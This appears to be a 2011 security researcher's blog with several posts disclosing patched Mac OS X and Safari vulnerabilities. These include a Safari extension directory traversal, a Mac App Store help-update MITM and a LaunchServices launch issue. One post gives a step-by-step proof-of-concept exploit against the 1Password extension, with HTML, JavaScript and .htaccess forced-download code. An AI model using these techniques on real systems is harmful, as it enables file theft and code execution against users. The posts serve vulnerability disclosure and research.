Thursday, October 20, 2011

Adobe Flash on Mac OS X provides a mechanism for users to check the version of Flash on their system to make sure it is not out of date. This can be done via the somewhat new "Flash Player" System Preference Pane, which has a "Check Now" button to trigger a version check.

Since Adobe has a more secure download mechanism built into Flash already, surely instead of making the "Check Now" button put users at risk, they could simply trigger that code path. Somehow this issue, as obvious as it is, and despite my best attempts at getting them to fix it, has still not been fixed in the latest version. I believe Adobe has a responsibility to its users to do the right thing here. It makes me want to ask someone at Adobe how something as basic as this does not fit into their secure development lifecycle.

Sunday, October 16, 2011

Now that a few days have passed I wanted to provide a full walkthrough of the Safari extension exploit for Mac OS X, as I thought it might be useful for someone in reproducing the bug or for using in new research.

Synopsis: Leverage the directory traversal in Safari Extensions using 1Password's extension as an example. Note that the bug and vulnerability are not in 1Password. The test case shown describes the files that would be placed on an Apache website to reproduce the vulnerability as I did.

Step 1: index.html

The purpose of this page is to get 1Password to offer to save a password. We do this with an auto-submitting form. The form submits to passgrabber.html.

<html>

<body>

<script>

setTimeout(function(){

document.getElementById("TheLogin").click()

},5000);

</script>

<form id=bugpowder action="passgrabber.html" method=POST>

<input type=text name=username value="My Username">

<br>

<input type=password name=password value="password">

<input type=submit value=Login id=TheLogin>

</form>

<br>

<br>

Don't do anything, I got this...

</body>

</html>

Step 2: passgrabber.html

When we get here, 1Password believes we have submitted a password and offers to save it for us by injecting an iframe in the current page. Our page can access the source URL of the injected iframe in order to mount a the directory traversal attack. This Javascript can be trivially modified to target other extensions.

<html>

<body>

<iframe src="slowboat.html" height=1 width=1></iframe>

<script>

[In addition to accessing the iframe injected by 1Password, we kick off a download via slowboat.html, which is explained in more detail below.]

[The JS above launches 3 seconds after the page shows up, which gives 1Password enough time to inject an iframe with its UI. We pull out the source URL of the iframe and pass on the dynamic value (only unknown part of the URL) for further processing.]

[Here we define some variables. These three variables are what you would modify to target a different extension. The easiest way to get "url_prefix" is to use the Safari Web Inspector when injected content from the extension is present, though note that injected content is not required for an extension to be vulnerable. The "url_suffix" is just to be sure we have a working exploit. We use it to attempt the directory traversal with a known image file at this extension-relative path. Lastly, the "poc_target" is the URL we actually intend to load containing our payload script. The payload script is the one that executes with the privileges of the extension. The "poc_target" path is relative to the user's home directory.]

function tryImg(thiskey) {

var imgholder=document.getElementById("imagesGoHere");

var newimage=document.createElement("img")

newimage.setAttribute("id","img"+thiskey);

newimage.setAttribute("onLoad","gotIt('"+thiskey+"')");

newimage.setAttribute("onError","this.parentNode.removeChild(this)");

newimage.src=url_prefix+thiskey+url_suffix;

imgholder.appendChild(newimage);

return(1);

}

[This function is called by the setTimeout at the start of the script with the dynamic part of the URL. Once we have it, we try to load the image specified in "url_suffix. If it loads, we assume success and send the value on to the next function, "gotIt". This function only exists to provide some error checking.]

[This function creates a new iframe for our payload to run in, and targets the payload using everything we have learned so far. It also prepends the "poc_target" url so that it is relative to the victim's home directory.]

</script>

<br><br><br><br><br>

<h1><div id="userkey"></div></h1>

Please wait a few seconds...

<br><div id="imagesGoHere"></div>

</body>

</html>

Step 3: slowboat.html

At the start of the previous page, this is loaded into an iframe. Its purpose is to perform the "carpet bombing" (obligatory shout out to Nitesh Dhanjani again), otherwise called a forced download. There are a million ways to accomplish this, but I used the following .htaccess and HTML.

<html>

<body>

<script>

document.location="interzone.html"

</script>

</body>

</html>

The .htaccess file:

<FilesMatch "interzone.html$">

Header set ContentType "application/octet-stream"

Header set Content-Disposition "attachment; filename=interzone.html"

</FilesMatch>

Step 4: interzone.html

Here you put your payload. You can do what you want from stealing files to executing SQL in the extension's database. When the download starts, Safari will create a temporary download bundle in the victim's ~/Downloads directory. It will be called "interzone.html.download/" and will contain a file called "interzone.html" inside it. You'll remember that is our "poc_target". We use this path because the Safari sandbox allows us to read files while they are being downloaded. You can put whatever payload you like in this file, but you need to make sure that it is either large enough in size or being served slow enough that the download is still in progress by the time it gets called. Actually, there are a million ways to do this too, but the easy route I took was making it 40 megs. If the download completes before the file is called, the temporary bundle will be removed before the exploit can access it.

Summary:

At this point, we have triggered 1Password, taken its dynamic value, validated that it works for us in a directory traversal, and we have pushed a payload to the victim's system. While the victim's system is downloading the payload, we can reliably access it and load it into the iframe from a safari-extension URL and in the context of the affected extension.

There are clearly lots of ways to accomplish this, but I chose the simplest path, not the most covert. That said, there are many points along the way where exploiting could have been made more difficult. If I had not been able to push files to the user, guess the download path, access the temporary download directory, or create frames that access safari-extension URLs in a remote web page, it would have been trickier.

Wednesday, October 12, 2011

(Sorry for the poor quality of the video, blogger seems to mess these up. Maybe I need to just find a new place for this blog.)

CVE: CVE-2011-3229

Found by: Aaron Sigel

Summary:

Safari is vulnerable to a directory traversal issue with the handling of "safari-extension://" URLs.

Attackers can create malicious websites that trigger Safari to send files from the victim's system to the attacker.

Arbitrary Javascript can be executed in the web context of the Safari extension.

Affected Versions:

Safari 5.0 and later on Mac OS X and Windows

Details:

First, Apple's description of Safari Extensions:

"Safari Extensions are a great way for you to add new features to Safari. Built by developers, Safari Extensions use the latest HTML5, CSS3, and Javascript web technologies. And they’re digitally signed and sandboxed for improved security. You can install extensions with one click — no need to restart Safari."

Another quote from Apple's Developer documentation on what scripts can do:

"Your injected scripts can access resources—images, HTML, and other scripts, for example—within your extension folder. Relative URLs are relative to the webpage your script is injected into, however. If you need to access local resources, use safari.extension.baseURI + “relative path and filename”. You cannot access resources on the user’s hard drive outside of the extensions folder."

Safari Extensions access their internal resources (images, scripts, etc) by prepending filenames with the value of safari.extension.baseURI, which is a dynamic path that changes every time Safari loads the extension. The format of full safari-extension URLs is:

Due to a directory traversal vulnerability in the handling of these URLs, any file readable by Safari's sandbox can be accessed by attackers. In these URLs, the only component that is not generally known to attackers is the dynamic value. The dynamic value is a 32bit number represented as a lowercase hex string. While there are attacks that could attempt to guess this value, more effective routes to exploit this issue have been found.

These URLs may be used by content injected into web pages, exposing the dynamic value by reading the DOM. The method and exploitability depends on the code in the extension, but proof of concepts have been generated that work against the 1Password, ClickToFlash, and several other extensions. This should not be considered a security vulnerability in those extensions. They are following the guidelines provided by Apple for what should be a safe operation.

The vulnerability here is that safari-extension URLs, with the help of directory traversal, have the ability to access local resources anywhere the system will allow the process to read.

Exploiting this bug:

The steps I used to exploit this bug are:

1. Find the dynamic part of the safari-extension URL

2. Find a way to access my payload from inside the Safari sandbox

3. Load my payload, and use it to execute the Javascript in the context of the extension

4. This Javascript access any file accessible to the extension, or access resources available to the extension (think Javascript accessible databases).

Some details of how my proof of concept accomplishes this:

The first step in exploiting this issue is to obtain the 32bit id. For 1Password's extension I accomplished this with a Javascript that causes it to inject an iframe into the current page. The src attribute is readable via document.getElementById().getAttribute("src"), which contains this value.

Once the attacker has this value, arbitrary paths to files readable by Safari's sandbox are reachable. Additionally useful to the attacker is that no usernames have to be guessed in order to access files in the user's home directory. This is because paths to files in the URL are relative to:

~/Library/Caches/com.apple.Safari/Extensions/[extension_name]/

Our goal is to start evaluating arbitrary Javascript with the privileges of the Safari Extension. After watching how Safari downloads files, I found that Safari's sandbox'ed process pokes a hole in the sandbox to allow read access on files while they are being downloaded. These are download bundles that have no unpredictable path components and are created in ~/Downloads. This meant that loading the attacker's Javascript was as simple as pushing a file download to Safari (Insert shout out to Nitesh Dhanjani whose Safari Carpet bombing technique still works in Lion and fully patched version of Safari) and loading it in an iframe. To make sure I could access the file while it was being downloaded, I just made a large file. At a couple of megabytes, the temporary download bundle reliably existed when and where I needed it to.

At this point the Javascript included in the download executed in the safari-extension zone.

What can be done on Mac OS X:

* Execution of arbitrary Javascript in the web context of installed extensions, which includes,

* Access to the safari object in the web content, exposing the SafariContent classes

* Full SQL access to extensions' client-side databases

* Access to any files that WebProcess.app, Safari's sandboxed process can read, which includes,

* Files opened by Safari during this process's life

* Local files in loaded extensions

* Other files being downloaded by Safari

* Safari's Cache database

* Safari's Local Storage databases

* Safari's HTML5 Offline Applications

* User Keychain files

* Quarantined application event logs

* DYLD shared cache/maps

What can be done on Windows:

Apple's Safari Extensions website claims that they are sandboxed. This was verified when accessing the site with Safari for both Mac OS X and Windows 7. However unlike Mac OS X, successful exploitation on Windows can access files wherever the user can read. It seems that sandboxing is either not implemented for Safari on Windows 7 or that the sandboxing does not limit file reading.

What this means:

* On Mac OS X, Safari's sandbox still allows access to a bunch of sensitive and useful data

* On Windows, sandboxing does not limit the files accessible to the attacker (if sandboxing occurs at all)

* Sandbox limits the badness that can be done with Safari exploits on Mac OS X. Hopefully Safari will adopt more process separation to further limit the damage possible from vulnerabilities.

There's not a ton to say about this bug aside from "Yikes"! I think the PoC speaks for itself. This allows you to send any "file:" url to LaunchServices, which will run binaries, launch applications, or open content in the default application, all from a web page. The only caveat is that since LaunchServices will check for the quarantine bit, you cannot directly push a binary to the browser and launch it. Other than that, you can run or launch anything you can access by using the method in the html provided below.

We have attempted to fully explain how these bugs work below. Since we expect that's too remedial for some of you, here's the summary…1. Help files from the Mac App Store contain AppleScript and Python payloads that can be MITMed during autoupdate resulting in execution of arbitrary commands for a remote attacker2. When updating help, the Mac App Store insecurely writes and accesses locations in "/tmp/" with guessable filenames, which could result in local cross-user attacks

Affected Software:

Mac OS X v10.6.*, Mac OS X v10.7Previous versions may be affected but were not tested.

The details:

Man-in-the-middle (MITM) bugs are well known to security researchers and often lead to information disclosure that can result in session hijacking or leaking personal information. MITM attacks that result in execution of arbitrary commands on a victim's computer seem less common. This was not always the case. It used to be fairly common to see applications that had built in update mechanisms not bothering to use any secure method to grab new code. These days it is expected that new code will be validated with some form of cryptographic mechanism or be provided to the user over a secure channel before being executed. Without these safeguards in place it would be possible for attackers to hijack the update unless you had a fully trusted network connection between your computer and the vendor. Since that is not the case most of the time, most reputable software vendors implement these mechanisms to protect their updates. Unfortunately, this is not always done on Mac OS X when help books are updated.

When the Mac App Store help book is opened, the help subsystem attempts to make sure that the documentation being displayed is the latest and greatest available. This is accomplished by a Python script that is distributed as part of the help book. Here's a snippet from the script:

# get the version number from the server
serverVersionURL = serverBaseURL + "helpbook-version.txt"
serverVersion = NSString.stringWithContentsOfURL_encoding_error_
(NSURL.URLWithString_(serverVersionURL), NSUTF8StringEncoding, None)
serverVersion = serverVersion[0]
# get the local version number
localVersionURL = directoryPath + "helpbook-version.txt"
localVersion = NSString.stringWithContentsOfFile_encoding_error_
(localVersionURL, NSUTF8StringEncoding, None)
localVersion = localVersion[0]
# show the help if we do have the latest help
if serverVersion == localVersion:
with open(statusFilePath, 'w') as statusFile:
statusFile.write("NO_UPDATE_AVAILABLE")
exit()

As you can see, if the version of the help document on the server is not the same as the local version, the update script will believe an update is available. Note that the help book version file is not signed in any way:

By intercepting this request and serving a different version string, it is possible to trigger an auto update. This was tested using Charles Proxy to simulate the MITM in action by mapping the help book version request to serve a local file with a different version in it:

Content of "silly-version.txt":

After passing this version test, the Python script proceeds to request a new help book archive and installs it. The help book archive "helpbook.zip" is downloaded from the remote server and installed. This new archive contains a full copy of the update script that has been performing this update. Next time an update occurs, our versions of the scripts will be executed. Charles Proxy was also used to demonstrate this part of the attack:

In this version of "helpbook.zip", the "scripts/updatefrontend.py" script has been modified as follows:

At this point we can see that the help subsystem will install malicious code provided by an attacker. The example above just runs Chess.app and creates a file to demonstrate that unsigned scripts have been executed. As demonstrated below, this is executed the next time that the help book is loaded. Of course it may take a while to happen unless we combine this attack with the "help:" URL scheme, which Safari will launch without any user interaction. Other good targets for attackers to target are "js/javascript.js" and "scripts/updatefrontend.scpt".

To see all of this in action, play the video below, which shows what happens once Mac App Store help is launched through Safari, triggering the injected Python commands to run:

(Sorry blogger's video upload thingy totally messes up the quality of my screen cap vids. If you have questions about how this bug works let me know by posting.)

Also, the file in "/var/tmp" was created, owned by the victim:

Constraints and notes about this vulnerability:

1. Help book documents are only accessible via URL after they are registered, which occurs after being opened once. In order for the demonstration above to work, the help book from the Mac App Store must have been opened at least once.

2. This bug is an issue for more applications than just Mac App Store. It is an issue for any application that insecurely transfers help book content or does not validate it in some way before it is executed. Finding the other applications distributed with Mac OS X as part of the base distribution vulnerable to this issue is a (simple) exercise for the reader. An attacker could trigger several help books at once with the hope of infecting just one.

3. This demonstration was noisy and obvious, but an actual attacker could be much sneakier.

Local user attack:

Aside from the issue shown above, there's another far less serious security hole in the update process involving a file in "/tmp" that is insecurely created. When help documentation is checked and updated, the following is done:

This is vulnerable to traditional "/tmp" attacks, such as symbolic-linking the update status file to something the victim can write, and the attacker wants to clobber, create, or fill with a known value. Here's an example of where the Apple Script included in the help book insecurely writes to this file:

Fix:

Apple has addressed these issues in Security Update 2011-006. It can be installed via Software Update.

Conclusion:

1. Apple should have signed and validated this code, or at the very least made sure that the help book was sent over a secure channel. Apple should scan all other help books they provide for variants of these issues. Apple should also reach out to third-party developers to help them avoid these same mistakes.

Tuesday, October 11, 2011

Safari Issues:
With the release of Mac OS X v10.7, Apple made Safari run sandboxed. According to Apple:

"Sandboxing
All the websites and applications you use in Safari are sandboxed, so they don’t have access to information on your system. If a website contains malicious code intended to capture personal data or tamper with your computer, sandboxing provides a built-in blocker that restricts the code from doing harm."
-- http://www.apple.com/macosx/whats-new/features.html#safari

In today's security update, Apple is fixing in two security issues I reported that could lead to capturing personal data and launching of arbitrary files or commands to tamper with your computer. These security holes do not break the Mac OS X sandboxing technology. Instead they function despite the sandboxing due to the way sandboxing for Safari was implemented.

I believe these are the first security holes in Apple software that have been made public that achieve file theft and command execution against Safari on Mac OS X v10.7 since sandboxing was added. Of course this excludes the many, many, many holes in Flash and Java and other third party software one may have installed.

The first issue allows a malicious website to run arbitrary commands by getting Safari to launch a URL directly to the system. This issue is tracked as CVE-2011-3230.

The second issue allows a malicious website to steal files accessible to the sandbox (several of which contain personal data) and execute Javascript in the context of Safari's extensions, which can be used to persistently alter their behavior or to steal data. This issue is tracked as CVE-2011-3229.

The first will not get its own write-up, because it is really straight forward and rather minor. When using QuickTime to "Save for Web", the HTML that is produced includes a script from Apple's website served over HTTP. An MITM attack on the loading of this script when the files are viewed locally could be used to steal files from the local system using XMLHttpRequests or abuse the power of local files in Safari to inject malicious Javascript into any other website. Note that the files are intended to be loaded locally, as they contain instructions on how to place QuickTime content on your website. This issue is tracked as CVE-2011-3218.

The second issue is a MITM attack Brian Mastenbrook and I found that leads to execution of arbitrary code. When viewing help in the Mac App Store, an update check is performed by talking to an Apple server. This update includes AppleScript and Python code that are served over HTTP, and can be replaced by an attacker with the ability to alter the victim's network traffic. When updating, these files are executed. If Mac App Store help has ever been viewed before, this update check can be triggered on demand by an attacker using a "help:" URL in a web page. Additionally, even when a network attacker is not present, the update process insecurely accesses files in "/tmp" leading to a traditional Time of Check vs Time of Use condition that could lead to local attacks such as privilege escalation. These issues do not affect Mac OS X v10.7 Lion, presumably because they were reported to Apple prior to its release. These issues are collectively tracked as CVE-2011-3224.